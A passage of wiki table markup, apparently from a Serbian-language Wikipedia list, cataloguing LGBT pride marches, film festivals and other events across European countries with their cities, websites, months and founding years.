[http://www.eurosipride.com www.euroskipride.com]{{Dead link|date=October 2022 |bot=InternetArchiveBot |fix-attempted=yes }} | mart | 2007 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Belgiji|Belgija]] === |- | [[World Outgames Antwerp 2013]] | [[Antwerp]] | [http://www.woga2013.org/ www.woga2013.org] {{Webarchive|url=https://web.archive.org/web/20140106040300/http://www.woga2013.org/ |date=2014-01-06 }} | avgust | 2013 |- | [[Belgian Lesbian and Gay Pride]] | [[Bruxelles]] | [http://www.blgp.be/ www.blgp.be] {{Webarchive|url=https://web.archive.org/web/20210126012713/http://www.blgp.be/ |date=2021-01-26 }} | maj | |- | [[NaviGAYtion]] | [[Antwerp]] | [http://www.navigaytion.be/ www.navigaytion.be] | jun | |- | [[EuroGames]] | [[Antwerp]] | [http://2007.eurogames.info/ 2007.eurogames.info] {{Webarchive|url=https://web.archive.org/web/20090122154955/http://2007.eurogames.info/ |date=2009-01-22 }} | 12-15 jul | 2007 |- | [[Swim for Life]] | [[Bruxelles]] | [http://www.swimforlife.be/ www.swimforlife.be] | novembar | 1996 |- | [[Brussels Gay and Lesbian Film Festival]] | [[Bruxelles]] | [http://www.fglb.org/FGLB/Le_festival.html www.glb.org/FGLB/Le_Festival.html] {{Webarchive|url=https://web.archive.org/web/20081111063234/http://www.fglb.org/FGLB/Le_festival.html |date=2008-11-11 }} | januar | 1986 |- | bgcolor="#F0F0FF" colspan="6" | === [[položaj LGBT osoba u Bugarskoj|Bugarska]] === |- | [[Sofia Pride]] | [[Sofija]] | http://www.gaypride-bg.com/ {{Webarchive|url=https://web.archive.org/web/20090612022253/http://gaypride-bg.com/ |date=2009-06-12 }} | jun | 2008 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Crnoj Gori|Crna Gora]] === |- | [[Montenegro Pride]] | [[Podgorica]] | [http://www.queermontenegro.org/ www.queermontenegro.org] {{Webarchive|url=https://web.archive.org/web/20140407081143/http://queermontenegro.org/ |date=2014-04-07 }} | 21. Oktobar | 2013 |- | [[Merlinka festival|Festival kvir filma 'Merlinka']] | [[Podgorica]] | [http://www.merlinka.com/ www.merlinka.com] | Maj | 2014 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Češkoj|Češka]] === |- | [[Queer Parade]] | [[Brno]] | [http://www.queerparade.cz www.queerparade.cz] | jun | 2008 |- | [[Mezipatra Gay and Lesbian Film Festival]] | [[Prague]] | [http://www.mezipatra.cz www.mezipatra.cz] | novembar | 2000 |- | [[Queer Pride Parade and Festival]] | [[Tábor]] | [http://www.queerprideparadetabor.cz www.queerprideparadetabor.cz] {{Webarchive|url=https://web.archive.org/web/20100612102639/http://www.queerprideparadetabor.cz/ |date=2010-06-12 }} | jun | 2009 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Danskoj|Danska]] === |- | [[Copenhagen Pride]] | [[Kopenhagen]] | [http://www.copenhagenpride.dk/ www.copenhagenpride.dk] {{Webarchive|url=https://web.archive.org/web/20131014174430/http://www.copenhagenpride.dk/ |date=2013-10-14 }} | avgust | |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Estoniji|Estonija]] === |- | [[Tallinn Pride]] | [[Tallinn]] | [http://www.pride.ee/ www.pride.ee]{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }} | avgust | 2004 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Finskoj|Finska]] === |- | [[Helsinki Pride]] | [[Helsinki]] | [http://www.helsinkipride.fi/ www.helsinkipride.fi] {{Webarchive|url=https://web.archive.org/web/20160705120413/http://www.helsinkipride.fi/ |date=2016-07-05 }} | | |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Francuskoj|Francuska]] === |- | [[Grenoble International Gay & Lesbian Film Festival]] | [[Grenoble]] | [http://www.vuesdenface.com/ www.vuesdenface.com] | april | |- | [[Gay Pride Lorraine]] | [[Metz]], [[Lorraine (région)|Lorraine]] | [http://gaypridelorraine.free.fr/ www.gaypridelorraine.free.fr] | mart | |- | [[Gay Pride Lyon]] | [[Lyon]], [[Rhône-Alpes]] | [http://www.fierte.net/ www.fierte.net] | jun | |- | [[HappyGaySkiWeek]] | [[Avoriaz]] | [http://happygayholidays.com/ www.happygayholidays.com] {{Webarchive|url=https://web.archive.org/web/20090413192518/http://www.happygayholidays.com/ |date=2009-04-13 }} | | |- | [[L'Existrans]] | [[Pariz]] | [http://www.asbfrance.org/ www.asbfrance.org] {{Webarchive|url=https://web.archive.org/web/20070629033853/http://www.asbfrance.org/ |date=2007-06-29 }} | oktobar | |- | [[Lesbian & Gay Pride Bordeaux]] | [[Bordeaux]] | [http://lgpbordeaux.net/ www.lgpbordeaux.net] | jun | |- | [[Lesbian & Gay Pride Lille]] | [[Lille]] | [http://www.lgplille.org/ www.lgplille.org] {{Webarchive|url=https://web.archive.org/web/20090706004321/http://www.lgplille.org/ |date=2009-07-06 }} | | |- | [[Lesbian & Gay Pride Montpellier]] | [[Montpellier]] | [http://www.montpelliergay.com/ www.montpelliergay.com] | | |- | [[Lesbian & Gay Pride région Centre]] | [[Tours]] | [http://www.lgpregioncentre.org/ www.lgpregioncentre.org] | maj | 2006 |- | [[Marseille Pride]] | [[Marseille]] | [http://www.marseillepride.org/ www.marseillepride.org] {{Webarchive|url=https://web.archive.org/web/20090713193658/http://www.marseillepride.org/ |date=2009-07-13 }} | | |- | [[Paris Pride]] | [[Pariz]] | [http://www.inter-lgbt.org/ www.inter-lgbt.org] | jun | |- | [[Solidays]] | [[Pariz]] | [http://www.solidarite-sida.org/ www.solidarite-sida.org] | jul | |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Grčkoj|Grčka]] === |- | [[Athens Pride]] | [[Athens]] | [http://www.athenspride.eu/index-en.html www.athenspride.eu] {{Webarchive|url=https://web.archive.org/web/20070116102840/http://www.athenspride.eu/index-en.html |date=2007-01-16 }} | jun | 2005 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Holandiji|Holandija]] === |- | [[Amsterdam Gay Skinhead Week]] | [[Amsterdam]] | [http://www.agskins.nl/ www.agskins.nl] {{Webarchive|url=https://web.archive.org/web/20140516210157/http://www.agskins.nl/ |date=2014-05-16 }} | april | |- | [[Amsterdam Gay Pride]] | [[Amsterdam]] | [http://www.amsterdamgaypride.nl/ www.amsterdamgaypride.nl] | avgust | |- | [[Leather Pride]] | [[Amsterdam]] | [http://www.leatherpride.nl/ www.leatherpride.nl] | novembar | |- | [[The Midsummer Canal Festival]] | [[Utrecht]] | [http://www.midzomergracht.nl/ www.midzomergracht.nl] | jun | |- | [[The Pink Kermis]] | [[Tilburg]] | [http://www.tilburgsekermis.nl/ www.tilburgsekermis.nl] | | |- | [[Pinkster Tennis Tournament]] | [[Amsterdam]] | [http://smashing-pink.nl www.smashing-pink.nl]{{Dead link|date=February 2026 |bot=InternetArchiveBot |fix-attempted=yes }} | maj | |- | [[White Party]] | [[Amsterdam]] | [http://www.riedijkproductions.com www.riedijkproductions.com] {{Webarchive|url=https://web.archive.org/web/20090415071711/http://www.riedijkproductions.com/ |date=2009-04-15 }} | | |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Hrvatskoj|Hrvatska]] === |- | [[Zagreb Pride]] | [[Zagreb]] | [http://www.zagreb-pride.net/ www.zagreb-pride.net] | jun/Jul | 2002 |- | [[Queer Zagreb]] | [[Zagreb]] | [http://www.queerzagreb.org/ www.queerzagreb.org] {{Webarchive|url=https://web.archive.org/web/20090930183256/http://www.queerzagreb.org/ |date=2009-09-30 }} | april/Maj | 2003 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Irskoj|Irska]] === |- | [[Cork Pride]] | [[Cork]] | [http://www.corkpride.com/ www.corkpride.com] {{Webarchive|url=https://web.archive.org/web/20090621000635/http://www.corkpride.com/ |date=2009-06-21 }} | kraj maja-jun | |- | [[Alternative Miss Cork]] | [[Cork]] | [http://www.gaycork.com/altmisscork www.gaycork.com/altmisscork]{{Dead link|date=October 2022 |bot=InternetArchiveBot |fix-attempted=yes }} | Feb | |- | [[Dublin Pride]] | [[Dublin]] | [http://www.dublinpride.org/ www.dublinpride.org] {{Webarchive|url=https://web.archive.org/web/20160304134831/http://dublinpride.org/ |date=2016-03-04 }} | jun | |- | [[GAZE - Dublin Lesbian & Gay Film Festival]] | [[Dublin]] | [http://www.gaze.ie/ www.gaze.ie] | | |- | [[Galway Gay Pride]] | [[Galway]] | [http://www.brodireland.com/ www.brodireland.com] {{Webarchive|url=https://web.archive.org/web/20081222181446/http://www.brodireland.com/ |date=2008-12-22 }} | |- | [[Limerick Gay Pride]] | [[Limerick]] | [http://www.gaylimerick.com/ www.gaylimerick.com] {{Webarchive|url=https://web.archive.org/web/20081003200711/http://www.gaylimerick.com/ |date=2008-10-03 }} | avgust | 2005 |- | [[Waterford Gay Pride]] | [[Waterford]] | [http://www.gaywaterford.com/ www.gaywaterford.com] | avgust | |- | [[Dublin Gay Theatre Festival|International Dublin Gay Theatre Festival]] | [[Dublin]] | [http://www.gaytheatre.ie/ www.gaytheatre.ie] | maj | 2004 |- | [[Mr Gay Ireland]] | [[Dublin]] | [http://www.queerid.com/mrgayireland www.queerid.com/mrgayireland]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }} | oktobar | 2005 |- | [[Sligo Gay Pride]] | [[Sligo]] | [http://www.nwprideireland.com/ www.nwprideireland.com] {{Webarchive|url=https://web.archive.org/web/20140216162020/http://nwprideireland.com/ |date=2014-02-16 }} | avgust | 2006 |- | [[Alternative Miss Ireland]] | [[Dublin]] | [http://www.alternativemissireland.com/ www.alternativemissireland.com] {{Webarchive|url=https://web.archive.org/web/20031130022307/http://www.alternativemissireland.com/ |date=2003-11-30 }} | mart | 1987 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba na Islandu|Island]] === |- | [[Reykjavík Gay Pride]] | [[Reykjavík]] | [http://www.gaypride.is/ www.gaypride.is] | avgust | |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Italiji|Italija]] === |- | [[European Gay Ski Week]] | [[Pila]] | [http://www.alternative-holidays.com/ www.alternative-holidays.com] {{Webarchive|url=https://web.archive.org/web/20090309102836/http://www.alternative-holidays.com/ |date=2009-03-09 }} | mart | |- | [[Gay Open Tennis]] | [[Milan]] | [http://www.atomoitalia.org/ www.atomoitalia.org] | septembar | |- | [[Gay Village, Italy]] | Rome | [http://www.gayvillage.it/ www.gayvillage.it] {{Webarchive|url=https://web.archive.org/web/20111126175723/http://www.gayvillage.it/ |date=2011-11-26 }} | jun - septembar | |- | [[International Gay & Lesbian Film Festival]] | [[Torino]] | [http://www.turinglfilmfestival.com/2006/loader.htm www.turinglfilmfestival.com] | april | |- | [[Milan Pride]] | [[Milan]] | [http://www.pridemilano.org/ www.pridemilano.org] | jun | |- | [[Rome Pride]] | Rim | [http://www.romapride.it/ www.romapride.it] | jun | 2000 |- | [[Catania Pride]] | [[Catania]] | | jun | |- | [[Torino Pride]] | [[Turin]] | [http://www.torinopride2006.it/ www.torinopride2006.it] {{Webarchive|url=https://web.archive.org/web/20060904070820/http://www.torinopride2006.it/ |date=2006-09-04 }} | | |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Latviji|Latvija]] === |- | [[Riga Pride and Friendship Days]] | [[Riga]] | [http://www2.mozaika.lv/?lang=2&mid2=1 www.mozaika.lv] {{Webarchive|url=https://web.archive.org/web/20081015103441/http://www2.mozaika.lv/?lang=2&mid2=1 |date=2008-10-15 }} | | |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Luksemburgu|Luksemburg]] === |- | [[Gay Mat]] | [[Luksemburg (grad)|Luksemburg]] | [http://www.gaymat.lu/ www.gaymat.lu] {{Webarchive|url=https://web.archive.org/web/20120207065315/http://www.gaymat.lu/ |date=2012-02-07 }} | | |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Mađarskoj|Mađarska]] === |- | [[Budapest Gay Dignity Procession]] | [[Budimpešta]] | [http://www.budapestpride.hu/ www.budapestpride.hu] {{Webarchive|url=https://web.archive.org/web/20090701070822/http://www.budapestpride.hu/ |date=2009-07-01 }} | jul | 1997 |- | bgcolor="#F0F0FF" colspan="6" | === [[Malta]] === |- | [[Malta Gay Pride March]] | [[Valetta]]/[[Paceville]] | | | 2004 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Moldaviji|Moldavija]] === |- | [[Moldova Lesbian and Gay Pride]] | [[Chişinău]] | [http://www.gay.md/ www.gay.md] {{Webarchive|url=https://web.archive.org/web/20071114072825/http://gay.md/ |date=2007-11-14 }} | | |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Nemačkoj|Nemačka]] === |- | [[Christopher Street Day]] | [[Berlin]] | [http://www.csd-berlin.de/ www.csd-berlin.de] {{Webarchive|url=https://web.archive.org/web/20201123213615/http://www.csd-berlin.de/ |date=2020-11-23 }} | jun | |- | Christopher Street Day | [[Dresden]] | [http://www.csd-sachsen.de/ www.csd-sachsen.de]{{Dead link|date=April 2026 |bot=InternetArchiveBot |fix-attempted=yes }} | jun | |- | Christopher Street Day | [[Erfurt]] | [http://csd-mitteldeutschland.de/ www.csd-mitteldeutschland.de] {{Webarchive|url=https://web.archive.org/web/20161108195234/http://csd-mitteldeutschland.de/ |date=2016-11-08 }} | August | 2012 |- | Christopher Street Day | [[Hamburg]] | [http://www.hamburg-pride.de/ www.hamburg-pride.de] | jun | |- | Christopher Street Day | [[Minhen]] | [http://www.csd-munich.de/ www.csd-munich.de] | jul | |- | Cologne Leather Pride | [[Köln]] | [http://www.rheinfetisch.de/ www.rheinfetisch.de] | maj - jun | |- | [[Cologne Pride]] | [[Köln]] | [http://www.colognepride.de/ www.colognepride.de] | jul | |- | Come-Together-Cup | [[Köln]] & Berlin & [[Essen]] | [http://www.come-together-cup.de/ www.come-together-cup.de] | jun | |- | [[Easter Leather Gathering & German Mr. Leather]] | [[Berlin]] | [http://www.blf.de/ www.blf.de] {{Webarchive|url=https://web.archive.org/web/20111029045210/http://www.blf.de/ |date=2011-10-29 }} | mart or April | |- | Fantasypride | [[Köln]] | [http://www.fantasypride.de/ www.fantasypride.de] {{Webarchive|url=https://web.archive.org/web/20070928223300/http://www.fantasypride.de/ |date=2007-09-28 }} | jun | |- | [[Festival at Pulverteich]] | [[Hamburg]] | [http://www.heinfiete.de/ www.heinfiete.de] | | |- | [[Folsom Europe Street Fair]] | [[Berlin]] | [http://www.folsomeurope.com/ www.folsomeurope.com] | septembar | |- | [[Frankfurt Gay Pride]] | [[Frankfurt]] | | | |- | [[Friedrichshain Gay & Lesbian Park Party]] | [[Berlin]] | [http://www.parkfest-friedrichshain.de/ www.parkfest-friedrichshain.de] | | |- | [[Gay Games]] Cologne 2010 | [[Köln]] | [http://www.games-cologne.com/ www.games-cologne.com] | jul - August 2010 | |- | [[Gay Oktoberfest at Bräurosi]] | | [[München]] | [http://www.mlc-muenchen.de/ www.mlc-muenchen.de] {{Webarchive|url=https://web.archive.org/web/20081010230647/http://www.mlc-muenchen.de/ |date=2008-10-10 }} | septembar | |- | [[Hamburg Pride]] | [[Hamburg]] | [http://www.hamburgpride.com/ www.hamburgpride.com] | | |- | IGLTA World Convention | [[Köln]] | [http://www.iglta.com/ www.iglta.com] | maj | |- | [[International Gay Rubber Weekend]] | [[Berlin]] | [http://www.blf.de/ www.blf.de] {{Webarchive|url=https://web.archive.org/web/20111029045210/http://www.blf.de/ |date=2011-10-29 }} | septembar | |- | International German Bear Pride | [[Köln]] | [http://www.bearparty.de/content/blogsection/11/68/ www.bearscologne.de] | maj | |- | [[Lesbisch-schwules Stadtfest Berlin]] | [[Berlin]] | [http://www.gay-stadtfest.de/ www.gay-stadtfest.de] | jun | |- | [[Run For More Time]] | [[Frankfurt am Main]] | [http://www.lauf-fuer-mehr-zeit.de/ www.lauf-fuer-mehr-zeit.de] | septembar | |- | Snowpride | [[Köln]] | [http://www.snowpride.de/ www.snowpride.de] {{Webarchive|url=https://web.archive.org/web/20090506082903/http://www.snowpride.de/ |date=2009-05-06 }} | januar | |- | [[Sylvester on Mehringdamm]] | [[Berlin]] | [http://www.aha-berlin.de/ www.aha-berlin.de] | decembar | |- | The Night of Lights / Die Nacht der Lichter | [[Köln]] | [http://www.nachtderlichter.de// www.nachtderlichter.de] | novembar - December | |- | [[Verzaubert Queer Film Festival]] | | [[München]] & [[Frankfurt]] & [[Köln]] & Berlin | [http://www.verzaubertfilmfest.com/ www.verzaubertfilmfest.com] | novembar | |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Norveškoj|Norveška]] === |- | [[Bergen Pride]] | [[Bergen]] | [http://www.bergengaypride.com/ www.bergengaypride.com] {{Webarchive|url=https://web.archive.org/web/20080816013105/http://www.bergengaypride.com/ |date=2008-08-16 }} | | |- | [[International Gay and Lesbian Filmfestival]] | [[Oslo]] | [http://www.oglff.org/ www.oglff.org] | jun | 1990 |- | [[Skeive dager]] | [[Oslo]] | [http://www.skeivedager.no/ www.skeivedager.no] | jun | |- | [[Stavanger på skeivå]] | [[Stavanger]] | [http://www.skeiva.no/ www.skeiva.no] | septembar | |- | [[Raballder Cup]] | [[Oslo]] | [http://www.raballdercup.com/ www.raballdercup.com] | mart | |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Poljskoj|Poljska]] === |- | [[Kraków Gay & Lesbian Culture Festival]] | [[Kraków]] | [http://www.tolerancja.org.pl/ www.tolerancja.org.pl] | april | 2004 |- | [[Equality Parade]] | [[Varšava]] | [http://www.paradarownosci.pl/ www.paradarownosci.pl] | jun | 2001 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Portugal|Portugal]] === |- | [[Lisbon Gay & Lesbian Film Festival]] | [[Lisbon]], [[Estremadura]] | [http://www.lisbonfilmfest.org/ www.lisbonfilmfest.org] | septembar | |- | [[Lisbon LGBT Pride Parade]] | [[Lisbon]], [[Estremadura]] | [http://portugalpride.org/ www.portugalpride.org] | jun | |- | [[Arraial Pride Party]] | [[Lisbon]], [[Estremadura]] | [http://www.ilga-portugal.pt/ www.ilga-portugal.pt] | jun | |- | [[Porto Pride]] Party | [[Porto]] | [http://www.portopride.org/ www.portopride.org] {{Webarchive|url=https://archive.today/20121228032442/http://www.portopride.org/ |date=2012-12-28 }} | jul (druga nedelja) | |- | [[Porto LGBT Pride Parade]] | [[Porto]] | [http://www.orgulhoporto.org/ www.orgulhoporto.org] {{Webarchive|url=https://web.archive.org/web/20200711163905/https://orgulhoporto.org/ |date=2020-07-11 }} | jul (druga nedelja) | |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Rumuniji|Rumunija]] === |- | [[GayFest]] | [[Bucharest]] | [http://www.gay-fest.ro www.gay-fest.ro] | maj/jun | 2004 |- | [[Gay Film Nights]] | [[Cluj-Napoca]] | [http://www.beanangel.ro/sfg/ www.beanangel.ro/sfg] | septembar/oktobar | 2004 |- | [[International Lesby Festival]] | [[Cluj-Napoca]] | [http://estiunica.org/en/content/projects/fil www.estiunica.ro] {{Webarchive|url=https://web.archive.org/web/20090626101930/http://estiunica.org/en/content/projects/fil |date=2009-06-26 }} | februar | 2009 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Rusiji|Rusija]] === |- | [[Moscow Pride]] | Moscow | [http://www.moscowpride.ru/ www.moscowpride.ru] {{Webarchive|url=https://web.archive.org/web/20101031065607/http://www.moscowpride.ru/ |date=2010-10-31 }} | maj | 2006 |- | [[International Gay and Lesbian Film Festival «Side by Side»]] | [[Sankt Peterburg]] | [http://www.sbsff.com/en/] {{Webarchive|url=https://web.archive.org/web/20090813083518/http://www.sbsff.com/en/ |date=2009-08-13 }} | oktobar | 2008 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Srbiji|Srbija]] === |- | [[Belgrade Pride]] | [[Beograd]] | |organizovana je samo jedna parada, koja je nasilno prekinuta. Najavljena je parada za 2010. godinu. | jun, 2001 |- | [[Queer Beograd]] | [[Beograd]] | [http://www.queerbeograd.org/ Queer Beograd Web Page] {{Webarchive|url=https://web.archive.org/web/20190822231333/http://www.queerbeograd.org/ |date=2019-08-22 }} | oktobar | 2004 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Sloveniji|Slovenija]] === |- | [[Ljubljana Pride]] | [[Ljubljana]] | [http://www.ljubljanapride.org/ www.ljubljanapride.org] | jul | 2001 |- | [[Festival gejevskega in lezbičnega filma]] | [[Ljubljana]] | [http://www.ljudmila.org/siqrd/fglf/ Festival gejevskega in lezbičnega filma] | decembar | 1984 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Španiji|Španija]] === |- | [[Sitges Gay Carnival]] | [[Sitges]] | [http://www.gaysitgesguide.com/carnival/index.html www.sitgesgaycarnival.com] {{Webarchive|url=https://web.archive.org/web/20080203114832/http://www.gaysitgesguide.com/carnival/index.html |date=2008-02-03 }} | februar | |- |- | [[Bearcelona]] | [[Barcelona]] | [http://bearcelona.org/ www.bearcelona.org] | mart | |- | [[Barcelona Gay and Lesbian Film Festival]] | [[Barcelona]], [[Catalonia]] | [http://www.gaybarcelona.net/ www.gaybarcelona.net] {{Webarchive|url=https://web.archive.org/web/20090421010014/http://www.gaybarcelona.net/ |date=2009-04-21 }} | jul | |- | [[Carnival Maspalomas]] | [[Maspalomas]], [[Gran Canaria]], [[Kanari]] | [http://maspalomas.com/ www.maspalomas.com] | mart | |- | [[Gay Pride Maspalomas]] | [[Maspalomas]], [[Gran Canaria]], [[Kanari]] | [http://gaypridemaspalomas.com/ www.gaypridemaspalomas.com] {{Webarchive|url=https://web.archive.org/web/20090721122457/http://www.gaypridemaspalomas.com/ |date=2009-07-21 }} | maj | |- | [[Gay Pride Valencia]] | [[Valencia]] | [http://www.lambdavalencia.org/ www.lambdavalencia.org] | jun | |- | [[Ibiza Gay Pride]] | [[Ibiza]] | [http://www.ibizapride.net/ www.ibizapride.net] | jun | |- | [[Pride Barcelona]] | [[Barcelona]] | [http://www.pridebarcelona.org/ www.pridebarcelona.org] | jun | 2009 |- | [[Loveball Festival]] | [[Barcelona]] | [http://www.loveball.info/ www.loveball.info] | avgust | |- | [[Madrid Gay Pride]] | [[Madrid]] | [http://www.madoweb.com/ www.madoweb.com] | | |- | [[Maspalomas Pride]] | [[Maspalomas]], [[Kanarska ostrva]] | [http://www.gaypridemaspalomas.com/ www.gaypridemaspalomas.com] {{Webarchive|url=https://web.archive.org/web/20090721122457/http://www.gaypridemaspalomas.com/ |date=2009-07-21 }} | maj | |- | [[Sleazy Madrid]] | [[Madrid]] | [http://www.sleazymadrid.com/ www.sleazymadrid.com] | april | |- | [[Circuit Festival]] | [[Barcelona]] | [http://www.circuitfestival.net/] | avgust |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Švedskoj|Švedska]] === |- | [[Mr Gay Sweden]] | [[Stockholm]] | [http://www.qx.se/ www.qx.se] | | 1999 |- | [[Stockholm Gay Skinhead Week]] | [[Stockholm]] | [http://www.gayskin.se/sgsw/Home.html www.gayskin.se] {{Webarchive|url=https://web.archive.org/web/20081203054310/http://www.gayskin.se/sgsw/Home.html |date=2008-12-03 }} | | |- | [[Stockholm Pride]] | [[Stockholm]] | [http://www.stockholmpride.org/ www.stockholmpride.org] | | 1998 |- | [[Regnbågsfestivalen]] | [[Malmö]] | [http://www.rfsl.se/malmo/?p=1823 www.rfsl.se] {{Webarchive|url=https://web.archive.org/web/20090224024243/http://www.rfsl.se/malmo/?p=1823 |date=2009-02-24 }} | | 1995 |- | [[HBT-GBG]] | [[Gothenburg]] | [http://www.hbt-gbg.se/ www.hbt-gbg.se] | | 2007 |- | [[International Swedish Gay Camp]] | izletište u blizini [[Baltičko more|Baltičkog mora]] | [http://www.gaycamp.se/ www.gaycamp.se] | jul | 1983 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Švajcarskoj|Švajcarska]] === |- | [[Luzern Pride]] | [[Luzern]] | [http://www.gay.ch/ www.gay.ch] | jun | |- | [[Swing - Swiss Gay Skiing & Snowboarding Week]] | [[Davos]], [[Graubünden]] | [http://gayskitrips.com/ gayskitrips.com] {{Webarchive|url=https://web.archive.org/web/20080511165805/http://www.gayskitrips.com/ |date=2008-05-11 }} | mart | |- | [[Swiss Gay Pride]] | [[Lausanne]] | [http://pridelausanne.canalblog.com/ pridelausanne.canalblog.com] | | |- | [[Zürich Pride]] | [[Zürich]] | [http://www.csdzh.ch/ www.csdzh.ch] {{Webarchive|url=https://web.archive.org/web/20151114195351/http://www.csdzh.ch/ |date=2015-11-14 }} | jun | |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Turskoj|Turska]] === |- | [[Lambda Istanbul Pride Week March]] | [[Istanbul]] | [http://www.lambdaistanbul.org/ www.lambdaistanbul.org/] | jun | 2003 |- | [[March Against Homophobia]] | [[Ankara]] | [http://www.kaosgl.org/ www.kaosgl.org] | maj | 2007 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Ujedinjenom Kraljevstvu|Ujedinjeno Kraljevstvo]] === |- | [[Bear Pride London]] | London | http://bearpride.co.uk/ | maj | 2007 |- | [[Belfast Pride]] | [[Belfast]], [[Northern Ireland]] | http://www.belfastpride.com/ | avgust | 1991 |- | [[Birmingham Pride]] | [[Birmingham]] | http://www.birminghampride.com/ | maj | |- | [[Blackpool Pride]] | [[Blackpool]] | http://www.prideblackpool.com/ {{Webarchive|url=https://web.archive.org/web/20090713043017/http://www.prideblackpool.com/ |date=2009-07-13 }} | maj | 2006 |- | [[Bourne Free Pride Festival]] | [[Bournemouth]] | http://www.bournefree.co.uk/ | jul | 2003 |- | [[Brighton Pride]] | [[Brighton]] | http://www.brightonpride.org/ {{Webarchive|url=https://web.archive.org/web/20050618075502/http://www.brightonpride.org/ |date=2005-06-18 }} | avgust | |- | [[Cardiff Mardi Gras]] | [[Cardiff]] | http://www.cardiffmardigras.co.uk/ {{Webarchive|url=https://web.archive.org/web/20080531185552/http://www.cardiffmardigras.co.uk/ |date=2008-05-31 }} | septembar | |- | [[Doncaster Pride]] | [[Doncaster]] | http://www.doncasterpride.co.uk/ | avgust | 2009 |- | [[The London Drag Olympics]] | London | [http://www.thewayoutclub.com/ | april | |- | [[Glasgay! Festival]] LGBT Arts Festival | [[Glasgow]] | http://www.glasgay.co.uk | oktobar | |- | [[Homotopia]] | [[Liverpool]] | http://www.homotopia.net/ | novembar | |- | [[Huddersfield Pink Picnic]] | [[Castle Hill, Huddersfield]] | http://www.thepinkpicnic.co.uk | jul | |- | [[Hull Pride]] | [[Kingston upon Hull|Hull]] | http://www.hullpride.org.uk/ | |- | [[Leeds Pride]] | [[Leeds]] | http://www.leedspride.com/ | avgust | |- | [[Leicester Pride]] | [[Leicester]] | http://www.leicesterpride.co.uk/ | |- | [[Cardiff Lesbian & Gay Ball]] | [[Cardiff]] | http://www.mrgaywales.com/ | maj | |- | [[Lincolnshire Pride]] | [[Lincoln, Lincolnshire|Lincoln]] | http://www.lincolnshirepride.com/ | jul | 2006 |- | [[London Lesbian & Gay Film Festival]] | London | http://www.llgff.org.uk/ | mart | 1986 |- | [[London Pride Festival Fortnight]] | London | http://www.pridelondon.org/ | jun | |- | [[London Pride Parade & Rally]] | London | [http://www.pridelondon.org/ www.pridelondon.org] | jul | |- | [[Manchester Pride]] | [[Manchester]] | [http://www.manchesterpride.com/ www.manchesterpride.com] | avgust | |- | [[Mr Gay UK]] | [[Blackpool]] | http://mrgayuk.co.uk/home mrgayuk.co.uk | maj-jul | 1993 |- | [[Mr Gay Wales]] | [[Cardiff]] | http://www.mrgaywales.com mrgaywales.com | maj-jul | 2005 |- | [[National Student Pride]] | UK | http://www.studentpride.co.uk/ | | 2005 |- | [[Nottingham Pride]] | [[Nottingham]] | http://www.nottinghampride.co.uk/ | jul | 1999 |- | [[Outsiders LGBT Film Festival]] | [[Liverpool]] | http://www.outsidersfilmfestival.com/ | Svakog meseca, sa centralnim događajem u oktobru | 2004 |- | [[Oxford Pride]] | [[Oxford]] | [http://www.oxfordpride.org.uk/ www.oxfordpride.org.uk] | jul | 2003 |- | [[Cambridge Pink Festival]] | [[Cambridge]] | http://www.pinkfestival.com/ www.pinkfestival.com] | | |- | [[Pride in Aberdeen]] | [[Aberdeen]] | http://www.prideinaberdeen.org.uk/ {{Webarchive|url=https://web.archive.org/web/20080224060058/http://www.prideinaberdeen.org.uk/ |date=2008-02-24 }} | | |- | [[Pride in Canterbury]] | [[Canterbury]] | http://www.prideincanterbury.org.uk/ {{Webarchive|url=https://web.archive.org/web/20090713085242/http://www.prideincanterbury.org.uk/ |date=2009-07-13 }} | | |- | [[Pride London]] | London | http://www.pridelondon.org/ | | |- | [[Pride Glasgow]] | [[Glasgow]] | http://www.prideglasgow.co.uk/{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }} | |- | [[Pride Scotia]] | [[Edinburgh]] i [[Glasgow]] | http://www.pride-scotia.org/ {{Webarchive|url=https://web.archive.org/web/20090720041553/http://www.pride-scotia.org/ |date=2009-07-20 }} | Početkom leta. Mesto održavanja se menja na dve godine. | |- | [[Reading Pride]] | [[Reading, Berkshire|Reading]] | http://www.readingpride.co.uk/ | septembar | |- | [[Plymouth 